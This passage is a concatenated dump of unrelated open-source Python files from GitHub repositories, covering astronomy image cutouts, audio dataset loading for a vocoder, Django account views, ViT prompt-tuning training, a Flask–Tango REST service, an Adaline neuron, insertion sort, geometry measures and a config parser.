new_header:\n del new_header['EXTNAME']\n history_str += 'from the extension name %s of the input FITS file \"%s\".'%(ext_name, input_file)\n else:\n history_str += 'from the input FITS file \"%s\".'%(input_file)\n new_header['HISTORY'] = history_str\n new_header['HISTORY'] = ''\n\n if set_output_naxis_3:\n data, header = trim_data_dimension(data, header, 3)\n \n if set_output_naxis_2:\n data, header = trim_data_dimension(data, header, 2)\n\n write_fits_data_to_file(new_data, new_header, output_file, \n set_output_bitpix_32=set_output_bitpix_32)\n\n\n\n\n\n\n\n\n\n","repo_name":"1054/Crab.Toolkit.JWST","sub_path":"bin/make_a_cutout_image_by_center_RA_Dec_and_FoV.py","file_name":"make_a_cutout_image_by_center_RA_Dec_and_FoV.py","file_ext":"py","file_size_in_byte":18330,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"73521357604","text":"import math\nimport os\nimport random\nimport torch\nimport torch.utils.data\nimport numpy as np\nfrom librosa.util import normalize\nfrom scipy.io.wavfile import read\nfrom librosa.filters import mel as librosa_mel_fn\nfrom CookieTTS._4_mtw.hifigan.nvSTFT import load_wav_to_torch\nfrom CookieTTS._4_mtw.hifigan.nvSTFT import STFT as STFT_Class\nfrom CookieTTS.utils.dataset.data_utils import DTW\nfrom glob import glob\nfrom tqdm import tqdm\ntry:\n import pyworld as pw\nexcept:\n pw = None\n\ndef check_file_lengths(sampling_rate, segment_size, training_files_old):\n segment_size_s = segment_size/sampling_rate\n training_files_new = []\n for file in tqdm(training_files_old):\n audio, native_sr = load_wav_to_torch(file, target_sr=None, return_empty_on_exception=True)\n audio_s = len(audio) / native_sr\n if audio_s > segment_size_s:\n training_files_new.append(file)\n return training_files_new\n\ndef check_files(sampling_rate, segment_size, training_files):\n len_training_files = len(training_files)\n training_files = [x for x in training_files if os.path.exists(x)]\n if (len_training_files - len(training_files)) > 0:\n print(len_training_files - len(training_files), \"Audio Files don't exist (and have been removed from training)\")\n \n # check for fine-tuning audio files\n len_training_files = len(training_files)\n training_files = [x for x in training_files if os.path.exists(os.path.splitext(x)[0]+'.pm_audio.pt')]\n if (len_training_files - len(training_files)) > 0:\n print(len_training_files - len(training_files), \"GTA Audio Files don't exist (and have been removed from training)\")\n \n # check for fine-tuning postnet spectrograms.\n len_training_files = len(training_files)\n training_files = [x for x in training_files if os.path.exists(os.path.splitext(x)[0]+'.pred_mel.pt')]\n if (len_training_files - len(training_files)) > 0:\n print(len_training_files - len(training_files), \"GTA Pred Spect Files don't exist (and have been removed from training)\")\n \n # check audio files are sufficient length for Vocoder.\n len_training_files = len(training_files)\n training_files = check_file_lengths(sampling_rate, segment_size, training_files)\n if (len_training_files - len(training_files)) > 0:\n print(len_training_files - len(training_files), \"Files are too short (and have been removed from training)\")\n return training_files\n \n\ndef get_dataset_filelist(a, segment_size, sampling_rate):\n if a.input_wavs_dir is None:\n with open(a.input_training_file, 'r', encoding='utf-8') as fi:\n training_files = [x.split('|')[0] for x in fi.read().split('\\n') if len(x) > 0]\n\n with open(a.input_validation_file, 'r', encoding='utf-8') as fi:\n validation_files = [x.split('|')[0] for x in fi.read().split('\\n') if len(x) > 0]\n else:\n print(\"Searching for WAV files in '--input_wav_dir' arg...\")\n wav_files = sorted(glob(os.path.join(a.input_wavs_dir, '**', '*.wav'), recursive=True))\n print(f\"Found {len(wav_files)} WAV Files.\")\n random.Random(1).shuffle(wav_files)\n \n training_files = wav_files[:int(len(wav_files)*0.95) ]\n validation_files = wav_files[ int(len(wav_files)*0.95):]\n \n if not a.skip_file_checks:\n print(\"Checking files\")\n training_files = check_files(sampling_rate, segment_size, training_files)\n validation_files = check_files(sampling_rate, segment_size, validation_files)\n \n return training_files, validation_files\n\ndef get_nonzero_indexes(voiced):# get first and last zero index in array/1d tensor\n start_indx = 0\n for i in range(len(voiced)):\n if voiced[i] != 0:\n start_indx = i\n break\n end_indx = len(voiced)\n for i in reversed(range(len(voiced))):\n if voiced[i] != 0:\n end_indx = i\n break\n return start_indx, end_indx\n\nclass MelDataset(torch.utils.data.Dataset):\n def __init__(self, training_files, segment_size, n_fft, num_mels,\n hop_size, win_size, sampling_rate, fmin, fmax, split=True, shuffle=True, n_cache_reuse=1,\n device=None, fmax_loss=None, fine_tuning=False, trim_non_voiced=False):\n self.audio_files = training_files\n random.seed(1234)\n if shuffle:\n random.shuffle(self.audio_files)\n self.segment_size = segment_size\n self.sampling_rate = sampling_rate\n self.split = split\n self.n_fft = n_fft\n self.num_mels = num_mels\n self.hop_size = hop_size\n self.win_size = win_size\n self.fmin = fmin\n self.fmax = fmax\n self.fmax_loss = fmax_loss\n self.STFT = STFT_Class(sampling_rate, num_mels, n_fft, win_size, hop_size, fmin, fmax)\n self.device = device\n self.fine_tuning = fine_tuning\n self.trim_non_voiced = trim_non_voiced\n\n def get_pitch(self, audio):\n # Extract Pitch/f0 from raw waveform using PyWORLD\n audio = audio.numpy().astype(np.float64)\n \"\"\"\n f0_floor : float\n Lower F0 limit in Hz.\n Default: 71.0\n f0_ceil : float\n Upper F0 limit in Hz.\n Default: 800.0\n \"\"\"\n f0, timeaxis = pw.dio(\n audio, self.sampling_rate,\n frame_period=(self.hop_size/self.sampling_rate)*1000.,\n ) # For hop size 256 frame period is 11.6 ms\n \n f0 = torch.from_numpy(f0).float().clamp(min=0.0, max=800) # (Number of Frames) = (654,)\n voiced_mask = (f0>3)# voice / unvoiced flag\n if voiced_mask.sum() > 0:\n voiced_f0_mean = f0[voiced_mask].mean()\n f0[~voiced_mask] = voiced_f0_mean\n \n return f0, voiced_mask# [dec_T], [dec_T]\n \n def __getitem__(self, index):\n audiopath = self.audio_files[index]\n \n # load audio\n if not self.fine_tuning:\n audio, sampling_rate = load_wav_to_torch(audiopath, target_sr=self.sampling_rate)\n audio = audio - audio.mean()# remove DC offset\n audio = (audio / audio.abs().max()) * 0.95# and normalize volume \n if self.trim_non_voiced:# trim out non-voiced segments\n assert len(audio.shape) == 1# [B]\n f0, voiced = self.get_pitch(audio)\n start_indx, end_indx = get_nonzero_indexes(voiced)\n audio = audio[start_indx*self.hop_size:end_indx*self.hop_size]\n else:\n pm_audio_path = os.path.splitext(audiopath)[0]+'.pm_audio.pt'# predicted mel audio\n audio = torch.load(pm_audio_path).float()# [T]\n \n audio = audio.unsqueeze(0)# [B] -> [1, B]\n if not self.fine_tuning:\n if self.split:\n if audio.size(1) >= self.segment_size:\n max_audio_start = audio.size(1) - self.segment_size\n audio_start = random.randint(0, max_audio_start)\n audio = audio[:, audio_start:audio_start+self.segment_size]\n else:\n audio = torch.nn.functional.pad(audio, (0, self.segment_size - audio.size(1)), 'constant')\n \n gt_mel = self.STFT.get_mel(audio)\n mel = gt_mel# 'mel' is the input to the vocoder, gt_mel is the original mel that will be used as a target by the model.\n else:\n pred_mel_path = os.path.splitext(audiopath)[0]+'.pred_mel.pt'\n mel = torch.load(pred_mel_path).float()\n if len(mel.shape) == 2:\n mel = mel.unsqueeze(0)# [n_mel, mel_T] -> [1, n_mel, mel_T]\n \n if self.split:\n frames_per_seg = math.ceil(self.segment_size / self.hop_size)\n \n if audio.size(1) >= self.segment_size:\n mel_start = random.randint(0, mel.size(2) - frames_per_seg - 1)\n mel = mel[:, :, mel_start:mel_start + frames_per_seg]\n audio = audio[:, mel_start * self.hop_size:(mel_start + frames_per_seg) * self.hop_size]\n else:\n mel = torch.nn.functional.pad(mel, (0, frames_per_seg - mel.size(2)), 'constant')\n audio = torch.nn.functional.pad(audio, (0, self.segment_size - audio.size(1)), 'constant')\n gt_mel = self.STFT.get_mel(audio)\n min_mel_len = min(gt_mel.shape[-1], mel.shape[-1])\n mel = mel[:, :, :min_mel_len]\n gt_mel = gt_mel[:, :, :min_mel_len]\n mel = DTW(mel, gt_mel, 5, 3)\n \n return (mel.squeeze(), audio.squeeze(0), audiopath, gt_mel.squeeze())\n\n def __len__(self):\n return len(self.audio_files)\n","repo_name":"CookiePPP/cookietts","sub_path":"CookieTTS/_4_mtw/hifigan/meldataset.py","file_name":"meldataset.py","file_ext":"py","file_size_in_byte":8715,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"52"} +{"seq_id":"71759004965","text":"from .forms import RegisterForm\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth import login, authenticate\nfrom django.contrib.auth import logout as user_logout\nfrom django.contrib.auth.models import User\n\n\ndef register(request):\n \n if request.method == \"POST\":\n form = RegisterForm(request.POST)\n if form.is_valid():\n form.save()\n new_user = authenticate(username=form.cleaned_data['username'], password=form.cleaned_data['password1'])\n login(request, new_user)\n\n return redirect('/news')\n\n else:\n form = RegisterForm()\n\n\n return render(request, 'register/register.html', context={\"form\": form})\n\ndef logout(request):\n return render(request, 'home.html', context={\"loggedout\": True,})\n\ndef deleteacct(request):\n\n if request.user.is_authenticated:\n request.user.delete()\n user_logout(request)\n return render(request, 'home.html', context={\"deleted\": True,})\n\n else:\n return redirect('/login')\n","repo_name":"thearyanmittal/news-aggregator","sub_path":"balanced_news/register/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8468110616","text":"import os\nimport logging\nimport numpy as np\nimport time\nfrom tqdm import tqdm\nimport torch\nimport torch.distributed as dist\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.nn.parallel import DistributedDataParallel\nfrom torch.utils.data import DataLoader, Subset\nfrom torch.utils.data.distributed import DistributedSampler\nfrom torchvision.datasets import ImageNet, ImageFolder\nimport wandb\n\nfrom model.dept_dino import DePTDino, DataAugmentationDINO\nfrom losses import DINOLoss, smoothed_cross_entropy\nfrom classifier import ViT_DePT\nfrom image_list import ImageList\nfrom utils import (\n adjust_learning_rate,\n concat_all_gather,\n get_augmentation,\n is_master,\n per_class_accuracy,\n remove_wrap_arounds,\n save_checkpoint,\n use_wandb,\n AverageMeter,\n ProgressMeter,\n)\nimport pdb\n\n\nCORRUPTIONS = [\n 'gaussian_noise', 'shot_noise', 'impulse_noise', \n 'defocus_blur', 'glass_blur', 'motion_blur', 'zoom_blur', \n 'snow', 'frost', 'fog', 'brightness', \n 'contrast', 'elastic_transform', 'pixelate', 'jpeg_compression'\n]\n\n\ndef get_source_optimizer(model, args):\n if args.distributed:\n model = model.module\n if args.model.tune_type == 'full':\n backbone_params, extra_params = model.get_full_params()\n elif args.model.tune_type == 'prompt':\n backbone_params, extra_params = model.get_prompt_params()\n elif args.model.tune_type == 'ln':\n backbone_params, extra_params = model.get_ln_params()\n\n if args.optim.name == \"sgd\":\n optimizer = torch.optim.SGD(\n [\n {\n \"params\": backbone_params,\n \"lr\": args.optim.lr,\n \"momentum\": args.optim.momentum,\n \"weight_decay\": args.optim.weight_decay,\n \"nesterov\": args.optim.nesterov,\n },\n {\n \"params\": extra_params,\n \"lr\": args.optim.lr * 10,\n \"momentum\": args.optim.momentum,\n \"weight_decay\": args.optim.weight_decay,\n \"nesterov\": args.optim.nesterov,\n },\n ]\n )\n elif args.optim.name == \"adamw\":\n optimizer = torch.optim.AdamW(\n [\n {\n \"params\": backbone_params,\n \"lr\": args.optim.lr,\n \"betas\": (0.9, 0.999),\n \"weight_decay\": args.optim.weight_decay,\n },\n {\n \"params\": extra_params,\n \"lr\": args.optim.lr * 10,\n \"betas\": (0.9, 0.999),\n \"weight_decay\": args.optim.weight_decay,\n },\n ]\n )\n\n else:\n raise NotImplementedError(f\"{args.optim.name} not implemented.\")\n\n for param_group in optimizer.param_groups:\n param_group[\"lr0\"] = param_group[\"lr\"]\n\n return optimizer\n\n\ndef train_source_domain(args):\n logging.info(f\"Start source training on {args.data.src_domain}...\")\n\n if 'vit' in args.model.arch:\n src_model = ViT_DePT(args.model).to('cuda')\n momentum_model = ViT_DePT(args.model).to('cuda')\n else:\n raise NotImplementedError(\"We currently only support ViT backbone\")\n\n model = DePTDino(\n src_model,\n momentum_model,\n m=args.model.m,\n nlayer_head=args.model.nlayer_head,\n dino_out_dim=args.model.out_dim,\n norm_last_layer=True,\n consistency_type=args.model.consistency_type,\n hierarchy=args.model.hierarchy,\n ).cuda()\n\n\n if args.distributed:\n model = nn.SyncBatchNorm.convert_sync_batchnorm(model)\n model = DistributedDataParallel(\n model, device_ids=[args.gpu], find_unused_parameters=False\n )\n logging.info(f\"1 - Created source model\")\n\n # transforms\n #train_transform = get_augmentation(\"plain\")\n train_transform = DataAugmentationDINO(\n (0.6, 1.),\n (0.05, 0.4),\n 0\n )\n\n val_transform = get_augmentation(\"test\")\n\n # datasets\n if args.data.dataset == \"imagenet-c\":\n train_dataset = ImageNet(args.data.image_root, transform=train_transform)\n val_dataset = ImageNet(\n args.data.image_root, split=\"val\", transform=val_transform\n )\n else:\n label_file = os.path.join(\n args.data.image_root, f\"{args.data.src_domain}_list.txt\"\n )\n train_dataset = ImageList(\n args.data.image_root, label_file, transform=train_transform\n )\n val_dataset = ImageList(\n args.data.image_root, label_file, transform=val_transform\n )\n assert len(train_dataset) == len(val_dataset)\n\n # split the dataset with indices\n indices = np.random.permutation(len(train_dataset))\n num_train = int(len(train_dataset) * args.data.train_ratio)\n train_dataset = Subset(train_dataset, indices[:num_train])\n val_dataset = Subset(val_dataset, indices[num_train:])\n logging.info(\n f\"Loaded {len(train_dataset)} samples for training \"\n + f\"and {len(val_dataset)} samples for validation\",\n )\n\n # data loaders\n train_sampler = DistributedSampler(train_dataset) if args.distributed else None\n train_loader = DataLoader(\n train_dataset,\n batch_size=args.data.batch_size,\n shuffle=(train_sampler is None),\n sampler=train_sampler,\n pin_memory=True,\n num_workers=args.data.workers,\n )\n val_sampler = DistributedSampler(val_dataset) if args.distributed else None\n val_loader = DataLoader(\n val_dataset,\n batch_size=args.data.batch_size,\n sampler=val_sampler,\n pin_memory=True,\n num_workers=args.data.workers,\n )\n logging.info(f\"2 - Created data loaders\")\n\n optimizer = get_source_optimizer(model, args)\n args.learn.full_progress = args.learn.epochs * len(train_loader)\n \n DINO_loss = DINOLoss(args.model.out_dim, teacher_temp=args.model.teacher_temp, student_temp=args.model.student_temp, layerwise_weight=True, prompt_div=args.learn.prompt_div, args=args).cuda()\n\n logging.info(f\"3 - Created optimizer\")\n\n logging.info(f\"Start training...\")\n best_acc = 0.0\n for epoch in range(args.learn.start_epoch, args.learn.epochs):\n if args.distributed:\n train_sampler.set_epoch(epoch)\n\n # train for one epoch\n train_epoch(train_loader, model, DINO_loss, optimizer, epoch, args)\n\n # evaluate\n accuracy = evaluate(val_loader, model, domain=args.data.src_domain, args=args)\n if accuracy > best_acc and is_master(args):\n best_acc = accuracy\n filename = f\"best_{args.data.src_domain}_{args.seed}.pth.tar\"\n save_path = os.path.join(args.log_dir, filename)\n save_checkpoint(model, optimizer, epoch, save_path=save_path)\n \n if (epoch+1) % args.learn.eval_freq == 0:\n # evaluate on target before any adaptation\n \n if args.data.dataset == \"imagenet-c\":\n acc_list = []\n for c, corrupt_domain in enumerate(CORRUPTIONS):\n print(corrupt_domain)\n test_dir = os.path.join(args.data.image_root, corrupt_domain, '5')\n test_c_dataset = ImageFolder(test_dir, val_transform)\n sampler = DistributedSampler(test_c_dataset) if args.distributed else None\n tgt_loader = DataLoader(\n test_c_dataset,\n batch_size=args.data.batch_size,\n sampler=sampler,\n pin_memory=True,\n num_workers=args.data.workers,\n )\n\n logging.info(f\"Evaluate {args.data.src_domain} model on {corrupt_domain}\")\n acc = evaluate(\n tgt_loader,\n model,\n domain=f\"{args.data.src_domain}-{corrupt_domain}\",\n args=args,\n st_type='student',\n wandb_commit=False,\n )\n acc_list.append(acc)\n\n avg_acc = np.array(acc_list).mean()\n if use_wandb(args):\n wandb.log({\"c_avg\": avg_acc}, commit=True)\n\n else:\n for t, tgt_domain in enumerate(args.data.target_domains):\n if tgt_domain == args.data.src_domain:\n continue\n label_file = os.path.join(args.data.image_root, f\"{tgt_domain}_list.txt\")\n tgt_dataset = ImageList(args.data.image_root, label_file, val_transform)\n sampler = DistributedSampler(tgt_dataset) if args.distributed else None\n tgt_loader = DataLoader(\n tgt_dataset,\n batch_size=args.data.batch_size,\n sampler=sampler,\n pin_memory=True,\n num_workers=args.data.workers,\n )\n\n logging.info(f\"Evaluate {args.data.src_domain} model on {tgt_domain}\")\n \n evaluate(\n tgt_loader,\n model,\n domain=f\"{args.data.src_domain}-{tgt_domain}\",\n args=args,\n st_type='student',\n wandb_commit=(t == len(args.data.target_domains) - 1),\n )\n\n\ndef train_epoch(train_loader, model, DINO_loss, optimizer, epoch, args):\n batch_time = AverageMeter(\"Time\", \":6.3f\")\n loss_meter = AverageMeter(\"Loss\", \":.4f\")\n dino_cls_loss_meter = AverageMeter(\"Dino_cls_loss\", \":.4f\")\n dino_prompt_loss_meter = AverageMeter(\"Dino_prompt_loss\", \":.4f\")\n top1 = AverageMeter(\"Acc@1\", \":6.2f\")\n progress = ProgressMeter(\n len(train_loader), [batch_time, loss_meter, dino_cls_loss_meter, dino_prompt_loss_meter, top1], prefix=\"Epoch: [{}]\".format(epoch),\n )\n\n # make sure to switch to train mode\n model.train()\n\n end = time.time()\n for i, data in enumerate(train_loader):\n images, labels, _ = data\n \n images = [im.cuda(args.gpu, non_blocking=True) for im in images]\n labels = data[1].cuda(args.gpu, non_blocking=True)\n\n # per-step scheduler\n step = i + epoch * len(train_loader)\n adjust_learning_rate(optimizer, step, args)\n \n teacher_output_cls, student_output_cls, student_logits, teacher_output_prompt, student_output_prompt = model(images[1:])\n\n loss_ce = smoothed_cross_entropy(\n student_logits,\n #torch.cat([labels, labels], dim=0),\n labels,\n num_classes=args.model.num_classes,\n epsilon=args.learn.epsilon,\n )\n loss_dino_cls, loss_dino_prompt, loss_prompt_div = DINO_loss(student_output_cls, teacher_output_cls, student_output_prompt, teacher_output_prompt, epoch=epoch)\n \n loss = (\n args.learn.alpha * loss_ce +\n args.learn.beta * loss_dino_cls +\n args.learn.beta2 * loss_dino_prompt +\n args.learn.lam * loss_prompt_div\n )\n\n # train acc measure (on one GPU only)\n preds = student_logits.argmax(dim=1)\n #acc = (preds == torch.cat([labels, labels], dim=0)).float().mean().detach() * 100.0\n acc = (preds == labels).float().mean().detach() * 100.0\n \n loss_meter.update(loss_ce.item(), images[1].size(0))\n dino_cls_loss_meter.update(loss_dino_cls.item(), images[1].size(0))\n if 'prompt' in args.model.consistency_type:\n dino_prompt_loss_meter.update(loss_dino_prompt.item(), images[1].size(0))\n top1.update(acc.item(), images[1].size(0))\n\n if use_wandb(args):\n wandb.log({\"Loss_dino_cls\": loss_dino_cls.item()}, commit=False)\n if 'prompt' in args.model.consistency_type:\n wandb.log({\"Loss_dino_prompt\": loss_dino_prompt.item()}, commit=False)\n\n if args.learn.prompt_div:\n wandb.log({\"Loss_prompt_div\": loss_prompt_div.item()}, commit=False)\n wandb.log({\"Loss_ce\": loss_ce.item() * args.learn.alpha}, commit=(i != len(train_loader)))\n\n # perform one gradient step\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n if i % args.learn.print_freq == 0:\n progress.display(i)\n\n\ndef evaluate(val_loader, model, domain, args, wandb_commit=True, st_type='student'):\n model.eval()\n\n logging.info(f\"Evaluating...\")\n gt_labels, all_preds = [], []\n with torch.no_grad():\n iterator = tqdm(val_loader) if is_master(args) else val_loader\n for data in iterator:\n images = data[0].cuda(args.gpu, non_blocking=True)\n labels = data[1]\n\n _, logits = model(images, st_type=st_type, cls_only=True)\n preds = logits.argmax(dim=1).cpu()\n\n gt_labels.append(labels)\n all_preds.append(preds)\n\n gt_labels = torch.cat(gt_labels)\n all_preds = torch.cat(all_preds)\n\n if args.distributed:\n gt_labels = concat_all_gather(gt_labels.cuda())\n all_preds = concat_all_gather(all_preds.cuda())\n\n ranks = len(val_loader.dataset) % dist.get_world_size()\n gt_labels = remove_wrap_arounds(gt_labels, ranks).cpu()\n all_preds = remove_wrap_arounds(all_preds, ranks).cpu()\n\n accuracy = (all_preds == gt_labels).float().mean() * 100.0\n wandb_dict = {f\"{domain} Acc\": accuracy}\n\n logging.info(f\"Accuracy: {accuracy:.2f}\")\n if args.data.dataset == \"VISDA-C\":\n acc_per_class = per_class_accuracy(\n y_true=gt_labels.numpy(), y_pred=all_preds.numpy()\n )\n wandb_dict[f\"{domain} Avg\"] = acc_per_class.mean()\n wandb_dict[f\"{domain} Per-class\"] = acc_per_class\n\n if use_wandb(args):\n wandb.log(wandb_dict, commit=wandb_commit)\n\n return accuracy\n\n\n\n","repo_name":"yhygao/DePT","sub_path":"source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":14182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73444969446","text":"from flask import Flask, Response\r\n\r\nimport PyTango, json\r\n\r\napp = Flask(__name__)\r\n\r\n# routes\r\n@app.route('/devices///')\r\ndef get_device(domain, family, member):\r\n device = (domain+'/'+family+'/'+member)\r\n proxy = PyTango.DeviceProxy(device)\r\n\r\n state, status = proxy.read_attributes([\"state\", \"status\"])\r\n\r\n dev_info = proxy.info()\r\n\r\n imp_info = proxy.import_info()\r\n info = dict(\r\n classname=dev_info.dev_class,\r\n exported=imp_info.exported\r\n )\r\n attributes = list(proxy.get_attribute_list())\r\n data = json.dumps(dict(state=str(state.value),\r\n status=status.value,\r\n info=info, attributes=attributes))\r\n return Response(data, mimetype=\"application/json\")\r\n\r\n@app.route('/devices////attributes')\r\ndef get_device_attributes(domain, family, member):\r\n device = (domain+'/'+family+'/'+member)\r\n proxy = PyTango.DeviceProxy(device)\r\n\r\n attributes = list(proxy.get_attribute_list())\r\n data = json.dumps(dict(attributes=attributes))\r\n return Response(data, mimetype=\"application/json\")\r\n\r\n@app.route('/devices////attributes/')\r\ndef get_device_attribute(domain, family, member, attribute):\r\n device = (domain+'/'+family+'/'+member)\r\n proxy = PyTango.DeviceProxy(device)\r\n\r\n device_attribute = proxy.read_attribute(attribute)\r\n value = str(device_attribute.value)\r\n data = json.dumps(dict(name=device_attribute.name,\r\n value=value))\r\n return Response(data, mimetype=\"application/json\")\r\n\r\nif __name__ == '__main__':\r\n app.run()\r\n\r\n","repo_name":"lzytniak/tango-test-attributes","sub_path":"testtango.py","file_name":"testtango.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14260226513","text":"import random\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\n\nclass Adaline(object):\n\n def __init__(self, no_of_inputs, learning_rate=0.01, iterations=1000):\n self.no_of_inputs = no_of_inputs\n self.learning_rate = learning_rate\n self.iterations = iterations\n self.weights = [random.uniform(-0.01, 0.01) for _ in\n range(2 * self.no_of_inputs + 2)]\n self.errors = []\n\n def train(self, X, Y, name, color, close_file, label):\n # X = self._standarize(X)\n X = self._normalize(X)\n for _ in range(self.iterations):\n randPick = list(range(0, len(X))) # Pomocnicza tablica do losowości\n random.shuffle(randPick)\n e = 0\n for i in randPick: # Zadanie: losowy wybor przykladow uczacych.\n out = self.output(X[i])\n self.weights += self.learning_rate * (Y[i] - out) * np.concatenate([X[i], self.fourier_transform(X[i])]) * self._activation_derivative(out)\n self.weights[0] += self.learning_rate * (Y[i] - out) * self._activation_derivative(out)\n e += (Y[i] - out) ** 2\n self.errors.append(e)\n plt.plot(range(len(self.errors)), self.errors, color=color, linewidth=1.5, label=label)\n plt.legend(loc=\"upper right\")\n plt.savefig('learning_curve_' + name + '.pdf')\n if close_file:\n plt.close()\n\n def _standarize(self, training_data_x):\n # Zadanie: X' = (X - Mean(X))/Std(X)\n for i in range(len(training_data_x)):\n training_data_x[i] = (training_data_x[i] - np.mean(training_data_x[i])) / np.std(training_data_x[i])\n return training_data_x\n\n def _normalize(self, training_data_x):\n # Zadanie: X' = (X - min(X))/(max(X) - min(X))\n for i in range(len(training_data_x)):\n training_data_x[i] = (training_data_x[i] - np.min(training_data_x[i])) / (np.max(training_data_x[i]) - np.min(training_data_x[i]))\n return training_data_x\n\n def _activation(self, x):\n x = 1 / (1 + np.exp(-x))\n return x\n\n def _activation_derivative(self, x):\n x = self._activation(x) * (1 - self._activation(x))\n return x\n\n def fourier_transform(self, x):\n a = np.abs(np.fft.fft(x))\n a[0] = 0\n return a / np.amax(a)\n\n def output(self, input):\n inp = np.concatenate([input, self.fourier_transform(input)])\n summation = np.dot(self.weights, inp)\n return summation\n","repo_name":"matkwi/PythonAdaline","sub_path":"Adaline.py","file_name":"Adaline.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37468521712","text":"import time\n\n\"\"\" Insertion Sort\n\n1. 정렬된 부분, 정렬되지 않은 부분으로 구분한다\n2. 정렬되지 않은 부분의 제일 왼쪽의 element와 정렬된 부분의 elements들을 확인하면서, \n3. 해당 위치에 삽입한다.\n\n- 입력에 민감한 input sensitive 알고리즘 \n- 평균/최악 시간 복잡도 O(N^2)\n- 제자리성(in place) yes\n- 안전성 (stability) yes\n\n\"\"\"\n\ndef insertion_sort(arr):\n \n # arr[0] 은 insertion 하는 의미가 없으므로, arr[1] 부터 insertion 알고리즘을 반복\n for i in range(1, len(arr)):\n cursorKey = arr[i]\n \n # index에 대해 표현하기에 따라 1 만큼 부등식이 달라질 수 있음 off-by-one error 조심\n # shift 하는 방식\n j = i\n while j > 0 and arr[j-1] > cursorKey : # for j in range(i-1, 0, -1):\n arr[j] = arr[j-1] # 공간을 만들어줌\n j -= 1\n arr[j] = cursorKey\n\n \nfile_path = \"Algorithms_Practice\\sorting\\InputSample.txt\"\n# file_path = \"Algorithms_Practice/sorting/InputSample.txt\"\narr = []\nwith open(file_path, 'r') as f:\n arr = f.readlines()\na = list(map(int, arr[0].split()))\n\nprint(\"Before Sorting...\")\n\nbefore = time.time()\nprint(\"After Sorting...\")\ninsertion_sort(a)\nafter = time.time()\n\nprint(a)\nprint(\"총 소요 시간 : %d\" % (after-before) )","repo_name":"junoade/Python_algorithms","sub_path":"Algorithms_Practice/sorting/InsertionSort.py","file_name":"InsertionSort.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"12669134728","text":"from math import sqrt\n\nimport numpy as np\n\nfrom ...utils import ngjit\n\n\n@ngjit\ndef compute_line_length(values, value_offsets):\n total_len = 0.0\n for offset_ind in range(len(value_offsets) - 1):\n start = value_offsets[offset_ind]\n stop = value_offsets[offset_ind + 1]\n x0 = values[start]\n y0 = values[start + 1]\n\n for i in range(start + 2, stop, 2):\n x1 = values[i]\n y1 = values[i + 1]\n\n if (np.isfinite(x0) and np.isfinite(y0) and\n np.isfinite(x1) and np.isfinite(y1)):\n total_len += sqrt((x1 - x0) ** 2 + (y1 - y0) ** 2)\n\n x0 = x1\n y0 = y1\n\n return total_len\n\n\n@ngjit\ndef compute_area(values, value_offsets):\n area = 0.0\n\n for offset_ind in range(len(value_offsets) - 1):\n start = value_offsets[offset_ind]\n stop = value_offsets[offset_ind + 1]\n poly_length = stop - start\n\n if poly_length < 6:\n # A degenerate polygon, zero area\n continue\n\n for k in range(start, stop - 4, 2):\n i, j = k + 2, k + 4\n ix = values[i]\n jy = values[j + 1]\n ky = values[k + 1]\n\n area += ix * (jy - ky)\n\n # wrap-around term for polygon\n firstx = values[start]\n secondy = values[start + 3]\n lasty = values[stop - 3]\n area += firstx * (secondy - lasty)\n\n return area / 2.0\n","repo_name":"holoviz/spatialpandas","sub_path":"spatialpandas/geometry/_algorithms/measures.py","file_name":"measures.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":289,"dataset":"github-code","pt":"52"} +{"seq_id":"11312112936","text":"\"\"\"\n Parser for json and protocol buffer files\n -- kvysyara@andrew.cmu.edu\n\"\"\"\n\n# pylint: disable=invalid-name\n\nfrom __future__ import absolute_import\n\nimport sys\nimport json\nfrom collections import OrderedDict\nfrom numbers import Number\nimport numpy as np\n\n# Python 3 issue with unicode classes\ntry:\n UNICODE_EXISTS = bool(type(unicode))\nexcept NameError:\n unicode = str\n\n\ndef unicode_to_str(data):\n \"\"\" Unicode to string conversion. \"\"\"\n if not isinstance(data, str):\n return data.encode('utf-8')\n return data\n\n\ndef _load_fidel_to_opt_parameters(param):\n \"\"\" Loads fidel_to_opt parameters. \"\"\"\n if isinstance(param, (list, tuple)):\n ret = []\n for elem in param:\n ret.append(_load_fidel_to_opt_parameters(elem))\n else:\n ret = param # just return the param\n if isinstance(param, unicode):\n ret = unicode_to_str(ret)\n return ret\n\n\ndef _load_domain_constraints(domain_constraints):\n \"\"\" Loads the domain constraints. \"\"\"\n processed_constraints = []\n # The constraints will be represented as a list of 3-tuples. The first of each tuple\n # will be the name of the constraint, the second will be the constraint, and the third\n # to store any ancillary information. The third item will be a dictionary containing\n # any other information specified in the configuration file.\n for _, constraint_data in domain_constraints.items():\n curr_constraint_dict = {}\n for key, val in constraint_data.items():\n key = unicode_to_str(key)\n val = unicode_to_str(val)\n curr_constraint_dict[key] = val\n processed_constraints.append(curr_constraint_dict)\n return processed_constraints\n\n\n\ndef load_parameters(config):\n \"\"\" Parses all the parameters from json config file. \"\"\"\n # pylint: disable=too-many-branches\n exp_info = {}\n exp_info['name'] = unicode_to_str(config.get('name'))\n if exp_info['name'] is None:\n raise ValueError('Experiment name is required')\n # Domain -------------------------------------------------------\n parameters = []\n _parameters = config['domain']\n if isinstance(_parameters, dict):\n for key in list(_parameters.keys()):\n param = load_parameter(_parameters[key], key)\n parameters.append(param)\n elif 